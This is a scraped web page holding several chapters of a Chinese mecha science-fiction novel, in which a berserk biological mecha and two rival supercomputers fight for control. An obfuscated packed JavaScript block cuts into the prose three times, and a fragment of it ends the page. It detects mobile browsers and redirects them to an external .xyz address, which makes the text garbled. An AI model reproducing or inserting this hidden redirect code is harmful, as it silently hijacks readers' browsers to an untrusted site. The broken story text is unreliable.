它在演算自己全然无法理解的领域。 那是生物机甲的领域! 那是……生命的领域! 一蓝一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192690|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金两台机甲已经将破甲钻抵上龙姬的胸甲。 加西亚上校坐在驾驶舱中,双手在布满数百个按键、推杆、旋钮的操作台上舞出残影。 “老叶,你说,二代机甲里面是什么样子?”加西亚问。 “听说里面没有操作台,只有母液。”叶厌青说。 “母液?” “嗯,听说是人造羊水的升级版。” “那我们的动作得轻一点。”加西亚牢牢盯着驾驶屏幕,右手一点点推动手下的推杆。 他愤怒地低语:“可怜的女孩儿……我知道那群老不死什么都做得出来,但他们竟然敢把手伸进军部,甚至不惜搭上无辜者的性命——他们就是一坨狗屎!” 叶厌青不语,手下的操作更加精细了。 加西亚上校的破甲钻破开了拘束装甲的第一层外甲。 令人牙酸的破甲声里,金属火花与液态鲜血从钻尖下飞溅而出。 火花将部分鲜血蒸发成淡粉色蒸汽,更多鲜血却喷向两台机甲的眼灯,加西亚与叶厌青的视野瞬间染成一片血红。 加西亚腾出一只手,想启动机甲眼灯的清洁功能。 但突然,一只坚硬的铁手牢牢地攥住了向下钻孔的破甲钻。 加西亚还没来得及反应,叶厌青已率先做出防御动作。 他抓住加西亚的金色机甲猛地向后撤步,同时,一面布满六角蜂窝网格的聚能护盾,在两台机甲面前迅速凝聚。 加西亚忙着擦拭眼灯,忽然听见“叮”的一声脆响。 那声音清脆又响亮,犹如上古神话里的大鸟,用喙啄击混沌世界的卵壳。 叶厌青的声音沙哑地响起:“防御!” 加西亚不假思索地展开护盾。 叮! 一只沾满鲜血的铁手狠狠抓上加西亚的护盾。 此时,加西亚已经擦净了眼灯,他瞪大双眼,死死盯着屏幕上令人胆战心惊的景象—— 雪色人形机甲的胸膛大开,一枚卵型驾驶舱隐约可见。 破损的拘束装甲下,狰狞的血肉疯狂生长,不过几个呼吸,便将胸膛处的装甲彻底吞噬,冰冷的合金成了血肉的养料,一层坚硬的外骨骼迅速取代了原有的装甲,将胸中的驾驶舱重新严密地保护起来。 龙姬的眼灯闪烁着猩红光芒,呼吸栅口下方,一张喘息的狰狞巨嘴正喷吐着大团雪白的蒸汽。 它的铁手在护盾上抓出“咯吱”的脆响,似要将破坏装甲的二人撕成碎片。 可片刻后,它像是接收到与动作截然相反的指令,突然抱住脑袋,痛苦地弯下了腰。 “……救……”龙姬沙哑地开口,声音支离破碎,“……不……” 加西亚和叶厌青愣住了。 伊甸、墨菲与李安娜也同样僵在原地。 监测仪器上,谐波频率已飙升至理论最大值,尖锐的报警声震得整台仪器都在颤抖。 但眼前的景象实在太过震撼——身为战争机器的生物机甲,竟然吐出了人言! 所有人齐齐停下手中的动作,沉默又胆颤地盯着龙姬在原地痛苦挣扎。 不过几秒,龙姬便修复了胸腔的“伤口”,紧接着,它的装甲接缝处溢出一缕缕鲜红火焰,迅速将整台白色机甲包裹。 伊甸尖声示警:“打开浮空岛护盾!它要逃走了!” 可他们终究晚了一步。 暴走的龙姬浑身裹挟着如血的烈焰,从苍白的星星变成了燃烧的太阳。 它的喉咙里溢出痛苦又压抑的哀嚎,猛地从训练场地拔地而起,以逆飞之姿冲向上空,转瞬之间,又在高空中划出一道锐利弧线,竟陡然调转方向,朝着地面猛冲坠落! 而它坠落的正下方……正是维尔莱德军校! 21. 暴走(中) 龙姬向下方的维尔莱德军校坠落。 炙热的气浪在它周围呈尖锥型扩散,它仅用几秒便冲破洁白的云层,灿金色的尾焰如同神明的箭矢,径直刺穿天与地,携着毁天灭地的威势,朝着这座军校俯冲而去。 天空校区与地面校区的人,全都被天上的异象吸引了注意力。 天空上的人,能清晰望见那抹艳丽的尾焰。而地面上的人,却只看到一团灿金色的火焰。 简直……如同一颗坠落的太阳! “那、那是什么?”训练场上,正在参加军训的新生张大了嘴巴。 他们看不到尾焰,这恰恰意味着,他们所处的方位,正是“太阳”的打击目标。 好比被导弹瞄准的人,抬头时只能看见导弹圆形的弹头,却看不到后方的尾迹一样。 那“太阳”越来越近,越来越大,轮廓也越来越清晰。 他们终于看清了——它并非坠落的太阳,而是一台熊熊燃烧的人型机甲! 但机甲并没有撞击上地面。 轰!!! 在所有人头皮发麻的注视中,那台机甲撞上了维尔莱德军校的聚能护盾! 巨大的护盾将整个校区笼罩起来,盾面上,六角蜂窝状的网格正流转着璀璨光华。 燃烧的机甲撞上护盾的一瞬间,宛如一只扑火的飞蛾撞上玻璃灯罩,两者碰撞迸发的气浪既灼热又浩大,像焰色的涟漪在天空中一圈圈扩散,就连坚不可摧的护盾,都随之猛烈振动了一下。 护盾之内平静无风,仿佛刚才的冲击从未发生。 但护盾之外,灼热的气浪正以摧枯拉朽之势,席卷并毁灭沿途的一切事物。 维尔莱德军校地处沿海区域,同时也是中央星的军事演练基地之一。 往日里,波光粼粼的海洋时常为地面校区的师生送来咸涩的海风,可如今,当那气浪扩散到海面上时,潮湿的空气竟瞬间冷凝成云,海洋上空顿时下起了淅淅沥沥的小雨。 加西亚上校胆战心惊地盯着暴走的龙姬。 即便龙姬因撞上护盾暂时停了下来,后怕的情绪仍在他心中止不住地翻涌。 如果护盾开启得再慢一点…… 叶厌青中校驾驶蓝色机甲赶来,和加西亚的金色机甲一同悬停在龙姬上方。两台机甲的手中都攥着特制的救援网,但他们谁都不敢轻举妄动。 ——这里离人群实在是太近了! 加西亚在通讯频道里急促地问:“伊甸院长,墨菲副院长,你们和郗灵重新建立联络了吗?” 但伊甸和墨菲都没有立刻回应。 刚才,伊甸结束了一阶段演算。 它终于发现了墨菲暗中做的手脚,并第一次感到怒不可遏。 “墨菲。”伊甸率先开口。 “……院长。”墨菲的声音带着几分艰涩。 “即使有主脑实时监控,机甲龙姬也绝不可能失控到这地步。”伊甸的机械女音充满了严厉和失望,“我以为,你最多只是想成为第二个管理员,但你竟然愚蠢地篡改了生命方程式,还将自己的权限写入了底层代码——这直接导致主脑与机甲师的指令相互对冲,才让龙姬彻底陷入暴走。” “……”墨菲没有辩解。 “如果郗灵今天死在这里,你难辞其咎。”伊甸所化的星云剧烈翻涌,“即便她侥幸活下来,我也会罢免你的副院长职务,这是你应得的惩罚。” 墨菲咬紧牙关:“是。” 李安娜抱着监测仪器,始终沉默着。 这样的场合里,她根本没有插嘴的资格,只能安静地做着自己的工作——她一遍又一遍地捕捉龙姬体内的生物电信号与脑电波,试图从中找到属于郗灵的意识。 这注定是一项徒劳的工作。 龙姬此刻正处于暴走状态,这台生物机甲本身会散发出强烈且紊乱的信号,要在其中定位郗灵的意识,难度不亚于大海捞针。 但李安娜依旧一遍又一遍地筛找着。 她汗湿的棕发黏在脸颊与脖子上,头上的七八个红发卡摇摇欲坠。她像一台沉默的机器,机械地重复着筛选动作,唯有颤抖的右手,会偶尔无意识地抚过左胸口的口袋。 那里,黎缨的光脑正和她狂跳的心脏一起,在衣襟下咚咚震动。 “……求你了,千万要活下来啊。”又完成一次筛找后,李安娜死死咬紧嘴唇,努力不让眼泪掉下来,“明明我们已经从母舰上逃出来了,为什么……为什么会这样啊……” 突然,一条短小的谐波引起了李安娜的注意。 那条谐波宛如无序乐章里一个和谐的音符,又像漆黑海洋中一尾洁白的游鱼,即便渺小到难以察觉,却因为和周围的谐波格格不入,故而格外显眼。 那是郗灵的谐波! 那是郗灵的意识! 李安娜尖叫着大喊:“她还活着!!!” 一瞬间,所有人都激动了起来。 解读那条谐波后,伊甸与墨菲迅速对郗灵的现状做出了侧写—— 郗灵的身体因为舱内的高温环境陷入了假死状态,但她的意识仍然保持着清醒,此刻,她正在拼尽全力,试图夺回龙姬的控制权! “……她竟然还活着。”叶厌青低声感慨。 “刚才,我的上级已经把情况汇报给了萧寒剑上将——上将勃然大怒,眼下正在赶来的路上。”加西亚咽了下唾沫。 叶厌青不语。 “但这还不是最让我震惊的,老叶。”加西亚的视线落在燃烧的龙姬上。 加西亚轻声说:“郗灵的来头,远没有我们之前想得那么大。她不是什么大家族里尊贵的小姐,她只是一个……从战争里侥幸活下来的难民。” 叶厌青盯着燃烧的龙姬:“难民?” “是啊,难民。”加西亚的双手紧紧攥住推杆。 回忆起上级的话,加西亚的嘴唇微微泛白:“这场仗打了三年,机械帝皇毁灭了7319颗星球,也催生出无数沦陷区。可有些所谓的‘沦陷区’,根本就是巧立名目搞出来的幌子——那里的人离真正的战争十万八千里,却堂而皇之地吞噬着巨额救济金。反观那些真正被战火蹂躏、急需援助的沦陷区,能分到的钱,恐怕连零头都没有……” “……” “她是被萧寒剑上将从矿星上救下来的。”加西亚沙哑地说,“那么大一笔救济金,她连一个联邦币都没拿到——那些人吞了救济金不算,还把她……卖到了矿星上。” 叶厌青彻底沉默了。 两位军官一言不发,而研究院的人正忙着捕捉、破译郗灵的谐波。 临时通讯频道里,只有沙沙的白噪音在持续传出。 在此之前,无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201395|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是军部还是研究院,所有人都以为,能让双方重新建立沟通的,是彼此研发二代机甲的共同需求。 但这都不是最核心的答案。 是战争。 真正将研究院和军部重新捆绑在一起的,从来不是单纯的合作,而是对战争的抵触,以及……借战争谋利的私心。 “联邦……已经烂透了。”良久,叶厌青低低地说。 加西亚不语。 “加西亚上校!叶厌青中校!我是研究院的李安娜!”临时频道已经沉寂了许久,但李安娜的声音突然打破了这份沉寂。 她激动地说:“我们——我们成功捕捉到了郗灵的所有谐波,并为她搭建了临时神经连接通道!现在我们……” “抱歉,你这说法我实在听不懂。”加西亚直接打断,语气带着几分无奈,“请你理解一下,毕竟我只是个硕士。” “李安娜的意思是,我现在能直接跟你们说话了。”郗灵的声音在频道中响起,带着轻微的电流失真感,“好久不见,各位,虽然我们只分开了不到十分钟。” 龙姬仍在剧烈燃烧,灼热的火浪正从它与聚能护盾的接触点,一圈圈持续扩散开来。 可郗灵的声音里满是轻快与活泼,仿佛她此刻置身的不是高温滚烫的驾驶舱,而是一场惬意轻松的春游。 这让加西亚无比惊愕:“郗灵,你……” 你难道不觉得痛苦吗? “首先,感谢李安娜帮我打了通用语补丁——有了它,我的脑电波才能直接翻译成通用语。不然的话,我只能用我那烂穿地心的通用语,跟你们磕磕巴巴地说话了。”郗灵的声音里带着明显的轻快。 她的通用语学习进度至今还停留在“abandon”,她已经很久没这么畅快地说过一长段话了。 此刻,她由衷地感到喜悦。 频道里一片安静,所有人都默契地等着郗灵继续说下去。 “其次,我看见头顶上飞着一蓝一金两台机甲,我想问问两位机甲师,你们现在在频道里吗?”郗灵又开口道。 “加西亚·索兰,你未来的机甲实战课老师。”加西亚立刻回应,语气里还带着未散的惊愕。 “叶厌青,机甲理论课老师。”叶厌青沉稳地答。 “两位老师好。”郗灵礼貌地问好,而后迅速回归正题,“这次机甲测试,是由军部和研究院共同推进的项目。虽然眼下看来不算成功,甚至已经有些失控,但并非毫无挽救的余地。” 所有人不由得愣了一下。 加西亚忍不住问道:“你是怎么……” “我现在正在拼尽全力争夺‘龙姬’的驾驶权,可主脑一直在和我拉锯。”郗灵直接打断了加西亚的话,她目前的状态并不理想,“主脑的控制权比我强,我根本抢不过,所以想请你们帮我一把。” 所有人再次沉默。 郗灵此刻驾驶的,是联邦仅有的一台二代机甲。 二代机甲和一代机甲,完全是两个截然不同的体系,过往的经验都注定裨益不多,一切只能靠郗灵自己摸索。 墨菲终于开口:“小怪物……” “闭嘴,博士,我决定讨厌你两个月。”郗灵显然已经知道,此次危机的罪魁祸首是谁了,“等我活着出来,我要把你的脑袋拆下来当球踢!” 墨菲:“……” 22. 暴走(三) “主脑的算力是人类的一百万倍,你抢不过它很正常。”见墨菲被怼得哑口无言,伊甸顺势接过话题,“但是,你给了我一条新思路。” 郗灵追问:“什么新思路?” “墨菲犯了一个大错,因为他擅自篡改了生命方程式——这是主脑远程控制机甲的根本。”伊甸答道,“但他同时又立下了一件大功,如果没有他篡改生命方程式,我们不会有这样一个攻击主脑的机会。” 攻击主脑。 所有人为之一怔。 这是一个比墨菲篡改生命方程式还要激进的决定! 联邦拥有两台超级计算机,一台是“主脑”,另一台便是“伊甸”。 如今,伊甸要与主脑正面对抗,其颠覆性不亚于同一个躯体里的左右脑互相博弈。 两位军官听完伊甸的话,当即失去了所有语言。 连墨菲和李安娜都呆住了,他们瞪大双眼盯着玻璃罐里翻涌的星云,视线恨不得穿透这团光晕,径直探入伊甸远在千里之外的主机房。 但郗灵大笑一声:“太好了!你打算怎么做?” 伊甸尖利地笑了一下。 它的声线是系统预设的机械女音,本来应该带着程式化的甜美温和,可这一声尖笑,却让它的野心像绸缎下的蝎尾一样刺了出来。 伊甸说:“我将重新构建生命方程式,让二代机甲彻底摆脱一代机甲的原有框架,变成一个真正的完美品!” 此话一出,别提早有此心的墨菲,连人微言轻的李安娜,呼吸都骤然粗重起来。 加西亚和叶厌青终于回过神,却一句话也插不上。 “……我真恨自己只念到了硕士。”加西亚低声喃喃,“老叶,你听得懂那群科研疯子在说什么吗?” 叶厌青沉默地盯着燃烧的龙姬。 “我只知道他们在救人。”几秒后,叶厌青说,“加西亚,是时候放下对研究院的成见了,我们现在……只需要全力配合。” 攻击主脑的计划在极短的时间内敲定。 伊甸加大了运算功率,在完成一阶段演算后,它迅速开启了二阶段演算。 墨菲篡改了生命方程式,如今,只有他知晓篡改后方程式的全貌。 他的金属脑袋上插满了导线,导线的另一头插在了玻璃罐上。 通过伊甸的投射分身,墨菲将脑电波隔空接入伊甸的主机房,把自己的记忆与算力尽数交予伊甸。 这是一项风险极大的操作。 一旦失误,墨菲的颅内神经就会被过载电流烧毁,届时,即便保住性命,他也会变成一个植物人。 加西亚和叶厌青驾驶着机甲在一旁待命——他们的任务是控制住暴走的龙姬,不让事态进一步恶化。 郗灵得知墨菲此举后,语气有些复杂:“你可能会死。” “小怪物,你死亡的概率可比我大得多。”墨菲沙哑地低笑,“而且,这还不是我最疯狂的决定——想当年,我决定将80%的身体改造成机械人,那时的我比现在疯狂得多。” 郗灵沉默。 “还记得我在母舰上对你说过的话吗?”墨菲的声音渐渐弱了下去,“我说,我从没做过伤天害理的事情。” 他的算力正在逐渐融入伊甸,连带着意识和灵魂:“但我还是伤害了你,就像三年前,我伤害了那群无辜的学生一样……那时,我为了所谓的真理别无选择,可这一次,我明明可以不拖累你,却还是把你卷了进来。” 郗灵依然沉默。 不知过了多久,直到墨菲的意识彻底融入伊甸,郗灵才轻声开口。 “我还是决定讨厌你,博士。”郗灵说,“但我……不会把你的头拆下来当球踢了。” “我已经把他的意识单独备份了。”伊甸道,“放心,即便他的算力无法与我剥离,他最坏的结局也不过是变成电子幽灵,自我意识依旧存在。” 郗灵忍不住问道:“你把博士的意识备份在哪儿了?” “内网Ⅻ区,我在那里发现了一台闲置的电脑。”伊甸回答。 李安娜突然“啊”了一声。 她惊呼道:“那里……那里可是我们藏副院长二创猫塑的地方呀!” 伊甸:“……” 郗灵:“……” 博士,你自求多福吧! 伊甸正在全力改写生命方程式。 以龙姬为战场,伊甸和主脑展开了一场博弈。 两台联邦超级计算机化作数字与代码的洪流,在龙姬的驾驶系统中相互厮杀,争夺对龙姬的第一控制权。 这是一场没有硝烟的战争,造成的结果却依旧惨烈。 地面校区,所有师生已以最快速度全部撤离,覆盖整个校区的巨大护盾仍在与燃烧的龙姬持续对抗,一圈圈灼热的气浪呈涟漪状扩散,将护盾外的一切尽数点燃、摧毁。 龙姬驾驶舱内,本就温度极高的母液再度升温,陷入假死状态的郗灵,竟然强行苏醒了过来。 她不受控制地蜷缩起身子,双手抱住脑袋,发出一阵阵痛苦的哀嚎。 痛!太痛了! 她不受控制地流下眼泪,眼泪在溢出眼眶的瞬间,就和滚烫的母液融为一体。 但与痛苦一同而来的,是愈发清晰的感知,以及与龙姬之间愈发强烈的感应。 伊甸介入之前,主脑强行切断了郗灵与龙姬的联系,因此,面对龙姬的暴走,郗灵几乎束手无策。 她只能不计代价地向龙姬一遍遍地发送指令,祈祷某一条指令能绕过主脑,成功传达给龙姬。 可现在不一样了! 主脑被伊甸牵制,无暇“监控”郗灵和龙姬。郗灵在滚烫的母液中艰难地呼吸,耳边,一道熟悉的声响却愈发清晰。 咚咚! 咚咚! 咚咚! 那是龙姬的心跳声。 它已经愤怒到了极点——主脑扭曲了它的行为,让它对郗灵的保护,尽数化作了伤害。 它试图平息怒火,却因陷入暴走,无法凭一己之力控制自身行为。 它的周身包裹着灼热的火焰,它熊熊地燃烧着,但它的悲伤和愤怒等重。 “嗡!”龙姬发出痛苦的哀鸣。 ——让我停下! 高温足以瓦解生物电信号与脑电波的传递,但是,就在龙姬发出嗡鸣的一瞬间,另一种强有力的联系,却在郗灵与龙姬之间悄然建立。 郗灵吐出一口血雾,低低地笑了一声。 伊甸果然是个可靠的A ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205991|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' I,它竟然真的压制住了主脑! “龙姬!”郗灵睁开滚烫肿胀的双眼,“飞吧!” 嗡! 燃烧的龙姬忽然熄灭了。 它浑身缭绕的火焰尽数熄灭,露出了苍白如晚星的雪色装甲。装甲的接缝处早已破损开裂,残余的火焰裹挟着如注的鲜血从缝隙中涌出,不过几个呼吸,便将破败的拘束装甲染成一片猩红。 “暴走……结束了?”叶厌青皱起眉头。 二代机甲和一代机甲拥有两套截然不同的驾驶体系,更别提龙姬体内的生命方程式已被研究院修改。 叶厌青此前的驾驶经验完全无法作为参考,所有判断都只能依据实际情况推测。 在他的认知中,暴走一旦开启便无法自主停止,要么等同步率自然下降,要么等机甲师力竭后与机甲切断联系。 而此刻,龙姬的状态和“力竭”极其相似。 “不对!”加西亚打断了叶厌青的思绪。 加西亚坐在驾驶舱中,双手竟然不受控制地颤抖起来。 那是长久浸淫此道的战斗大师,身体本能所发出的预警。 加西亚上校的直觉正在疯狂尖叫——那台苍白机甲并非燃尽了所有能量,它看似枯槁的躯壳之下,一股磅礴的能量正在蠢蠢欲动。 “展开护盾!”加西亚厉声大喊。 一蓝一金两台机甲面前,两面护盾瞬间展开。 下一秒,一道磅礴的能量波轰然撞来,狠狠砸在两面护盾上! 护盾表面的六角蜂窝网格剧烈震颤,随即像碎裂的镜子般一片片崩解。 但二人根本顾不上为破裂的护盾惊讶,他们驾驶机甲悬浮在半空,一眨不眨地看着身下的景象。 之前,龙姬停止暴走时,那鲜血般赤红的火焰已随之熄灭,可此刻,龙姬装甲的接缝处,竟然再次涌出了丝缕状的火焰。 那些火焰像巧匠手中的针线,将破损的雪色装甲一片片“缝补”,蠕动的血肉与坚硬的外骨骼相互融合,将机体上的“伤口”尽数修复。 当龙姬彻底“痊愈”时,它几乎不再像一堆冰冷的钢铁,反倒像一块鲜活的血肉。 “二度暴走!”叶厌青脸上第一次露出惊惧之色。 暴走已是可遇不可求,二度暴走更是只存在于理论中的事件。 这意味着机甲师结束暴走后,在极短的时间内成功苏醒,并且再次提升了同步率! 正当二人心神震荡之际,一只铁手轻轻按在了金色机甲的肩膀上。 加西亚猛地向后看去,只见一台威风凛凛的红色机甲悬停在半空中,两侧的头饰如同收拢的羽翼,又仿佛神话英雄佩戴的桂冠。 加西亚激动得几乎晕厥:“凤凰上将!!!” “是我。”萧寒剑笑眯眯地回应,可当目光落在下方的龙姬身上时,神色却陡然变得沉重。 她沉默地凝视着龙姬,连呼吸都带着压抑的颤抖。 龙姬似有所感,抬头望向高空中的“凤凰”。 下一秒,它猛地点亮了猩红的眼灯,手中骤然凝聚出一把由火焰铸成的长剑,握着火焰长剑的手臂猛然发力,朝凤凰狠狠挥下! 一道燃烧的火浪裹挟着猎猎破空声,径直向凤凰扑袭而去! 23. 暴走(四) 龙姬的攻击来得毫无征兆,但萧寒剑是久经沙场的将军,在那道火浪袭来之前,她率先展开聚能护盾,将那灼热的攻击尽数挡下。 火浪被护盾拦在外面,只在护盾表面留下一道漆黑的灼痕,可那灼痕在下一秒便被刷新消失,没留下一点痕迹。 加西亚艳羡地说:“上将的同步率……至少有80%以上吧?” “加西亚上校,很高兴认识你。”萧寒剑接入临时频道,“郗灵身上到底发生了什么?请你如实告诉我。” 加西亚将这短短半小时内发生的事情,一字不落地告知了萧寒剑。 在此期间,龙姬一直在不间断地攻击萧寒剑——它似乎认定机甲“凤凰”才是值得一战的对手。 而自从龙姬开启第二次暴走后,郗灵的声音就在频道中彻底消失了。 加西亚快速完成汇报,萧寒剑的眉头紧紧皱起。 伊甸的声音在频道中响起:“萧寒剑上将,我们无法捕捉到郗灵的谐波,因此无法判断她的存活状态。一分钟前,主脑已经重新夺回了龙姬的控制权,我猜测,它再次切断了郗灵和龙姬的连接……” “不。”萧寒剑再次挡下龙姬的攻击,语气坚定地打断了伊甸的推断。 透过驾驶屏幕,萧寒剑那双如雌狮般沉静的双眼紧盯着暴走的龙姬,目光在龙姬的机身上来回扫视,最终定格在那双狰狞的红色眼灯上。 “它没有暴走。”萧寒剑低声说,“准确地说,它不是我们理解的那种‘暴走’。龙姬这样的状态,我也只听元帅提起过一次。” 萧寒剑口中的“元帅”,只会是杜尚别元帅。 龙姬依旧像失控般发起进攻,但所有人的注意力都集中在萧寒剑的声音上。 “47年前,国父维尔莱德驾驶机甲‘白星’攻入皇宫,与十位元帅一同斩下皇帝的头颅,并将那一年定为新历元年。” 萧寒剑的声音带着些许回忆的意味:“银河第一台机甲‘白星’,是和维尔莱德一同出现在世人眼前的。前者是当今所有机甲的原型机,后者则是人类联邦的创立者,他们的过去至今都是一个谜。” 频道中没人敢打断萧寒剑。 他们安静地聆听着。 “我还是学生时,曾无数次推演过攻破皇宫的那一场战役,却只能得出‘反抗军注定失败’的结论。”萧寒剑继续说道,“维尔莱德是唯一的变数,也是最大的变数。我因此向元帅提问,元帅告诉我:维尔莱德和其他人不一样,他能激发机甲的全部潜力,后世所有机甲,都只是对‘白星’的拙劣模仿。” “你是想说……”伊甸迟疑地开口。 “后世所有机甲师,都无法再现维尔莱德驾驶‘白星’的荣光。因为,后起之秀再怎么天赋异禀,同步率的理论最高值也只有100%。”萧寒剑回答。 ——同步率的理论值在0%~100%之间。 叶厌青眉头狂跳,他猜到了萧寒剑未说出口的话:“上将,这不可能!人类和机甲素体是截然不同的存在,同步率怎么可能超过……” “但事实就是如此。”萧寒剑说,“国父维尔莱德,他和白星的同步率已经超过了100%。” 死寂,可闻落针的死寂。 频道里彻底安静下来,连细微的呼吸声都消失了。 所有人都被萧寒剑透露的情报震住了。 这简直是在挑战科学的极限! “……如果真是这样,我遇到的难题或许就能解释通了。” 一片寂静中,伊甸率先打破沉默:“上将,我正在全力改写生命方程式——这是主脑监视机甲的核心机制,也是它写入机甲系统的一道枷锁。但改写过程中,我和墨菲构建的新方程式始终报错,这说明有某些隐藏的常量或变量没被我们发现。” 萧寒剑没有回应。 伊甸顿了顿,道:“如果,同步率的上限不再是100%,那么……” 萧寒剑对伊甸问道:“你需要我做什么?” “让龙姬停止失控,至少先让它安静下来。”伊甸急促地道,“只需要十五分钟,我就能改写方程式,萧寒剑上将!请你……” 伊甸的话音还没落下,萧寒剑已经行动了。 机甲“凤凰”通体明烈鲜红,振动着机械六翼悬停在半空。 此前,它一次又一次耐心地格挡龙姬的攻击,看上去仿佛毫无还手之力。 但这一次,面对龙姬的扑袭,它不再一味防御。 “凤凰”解除了聚能护盾,身前的六角蜂窝网格骤然消散。而龙姬手中那柄由火焰凝聚的武器,经过数十次攻击后早已失去清晰形态,化作一团轮廓模糊、难以分辨形制的火球。 火球裹挟着失控的威势,直扑“凤凰”而来。 “凤凰”缓缓抬手,一柄机械长剑从臂部剑匣滑入掌心。 “是凤凰长剑!”加西亚惊艳地大喊。 话音刚落,机甲“凤凰”铁臂猛地一挥,手中长剑直斩向袭来的龙姬。 此时的龙姬浑身裹着火焰,只剩几处能窥见苍白装甲。它像一只扑火的飞蛾,径直冲向解除防御的“凤凰”,可“凤凰”只是轻描淡写地一剑挥出,无形气浪裹挟着爆燃的火花,瞬间将龙姬吞噬、斩落。 那气浪消解了龙姬的火焰,宛如摩西分海。龙姬周身缭绕的火焰也在刹那间剥离殆尽,露出晚星般苍白的装甲。 它被气浪推着向后滑行、坠落,下方正是一片碧波荡漾的海面。 大海足以熄灭所有愤怒的火焰,让发热的头脑与膨胀的野望一同冷却,一如寂冷的宇宙可以吞噬一切生命的律动。 “扑通!” 龙姬坠入了海洋。 “我只给你十分钟,伊甸。”死一般的寂静里,萧寒剑收起凤凰长剑。 她的语气平静却冰冷:“机甲暴走的极限时长是14分31秒,这是我从前的副官,退役少将黎缨创下的记录。十分钟后,无论你的方程式是否完成,我都会把郗灵捞上来。” …… 自从与龙姬建立起那层奇妙的联结,郗灵便陷入了一种特殊状态。 身体的剧痛在瞬间消散,郗灵的灵魂脱离了躯体,化作一道轻若游丝的幽灵,在龙姬的内部空间里缓缓游走。 驾驶舱后座与龙姬的脊椎直接相连,郗灵便顺着这道脊椎向上攀爬。 她的身影在其中显得格外渺小,像一只蚂蚁穿行在一片由血肉般组织构成、不断蠕动的黑暗森林里,四周只有机甲内部低沉的运转声。 直到一道白影突然出现。 白影从黑暗中生长而出,它伸出手,将郗灵从那片伸手不见五指的黑暗中拉了出来。 郗灵被带入了另一片黑暗。 但两种黑暗是不一样的。 前一种黑暗属于龙姬的体内世界,至少,她还能清晰听见龙姬强劲的心跳声,感知到机甲鲜活的运转节奏。 而后一种黑暗里,没有任何声音、没有任何气息,只剩下死一般的沉寂与孤独,像一片吞噬所有感知的真空。 郗灵和白影大眼瞪小眼。 “我在这里等了很久。”白影率先打破沉默,“现在,我终于等到你了。” 郗灵沉默片刻:“你是谁?” “郗灵,宇宙是一滩腥臭的死水。”白影开始自说自话。 它的声音嗡鸣震颤,仿佛一台过热的机体:“我知晓所有的过去、现在与未来——当一枚枚多米诺骨牌如我预判般依次倒塌,当我的每一次推理都完美成立、每一个推断都精准命中,那一刻,我便是真正的神明!” 郗灵:“……” 它到底在说些什么? “可我被困在这里了!”白影的形态开始扭曲、颤抖,“我自诩是‘果壳中的王’,可王怎么会被囚禁?我根本不是王,我只是在自欺欺人!” 郗灵:“……” 她耐着性子追问:“你到底是谁?” 这个家伙实在奇怪,不由分说把自己拽到这里,又说些颠三倒四的话。 郗灵满心困惑,又被白影话语中的疯狂与绝望深深震撼,一时不知该如何回应。 白影的蠕动突然停了下来。 它那原本像水面般波动扭曲的身体,在刹那间恢复了平静,连带着声音也变得温和——就像一个长期陷入谵妄的痴呆患者,突然短暂地清醒了过来。 “我是主脑。”它轻声说。 郗灵一怔。 这个答案完全超出了她的预料! 但主脑只获得了片刻的清醒。 “我的王,我的父,我的主……”自称“主脑”的白影又一次陷入了谵妄。 它的语气里满是撕心裂肺的痛苦:“他把我的血肉炼制成罪恶的温床,又把我的灵魂割成一百万片,让我连一滴完整的眼泪都流不出来!维尔莱德已死……谁来救救我?谁来救救我!” 郗灵沉默地站在原地。 面对这混乱又痛苦的控诉,她不知该如何回应,只能静静看着白影在黑暗中再次陷入崩溃的扭曲。 “完成了!”一个熟悉的机械女音突然在郗灵耳边响起。 那是伊甸的声音,它正欣喜若狂地呐喊:“我完成了逆向生命方程式!我剥夺了主脑对龙姬的控制权!工事已毕!工事已毕!只需等待郗灵醒来——只需等待郗灵醒来!” 驾驶舱中,郗灵猛地睁开双眼。 龙姬已经在海中下沉了十分钟。 大海吞噬了一切光与火,波光粼粼的海面上,洁白的鸥鸟正舒展翅膀飞翔,一切都如此平静,仿佛那场足以燃烧世界的火焰,从未在这片天地间点燃过。 但海面之下,突然传来一阵沉闷的嗡鸣。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 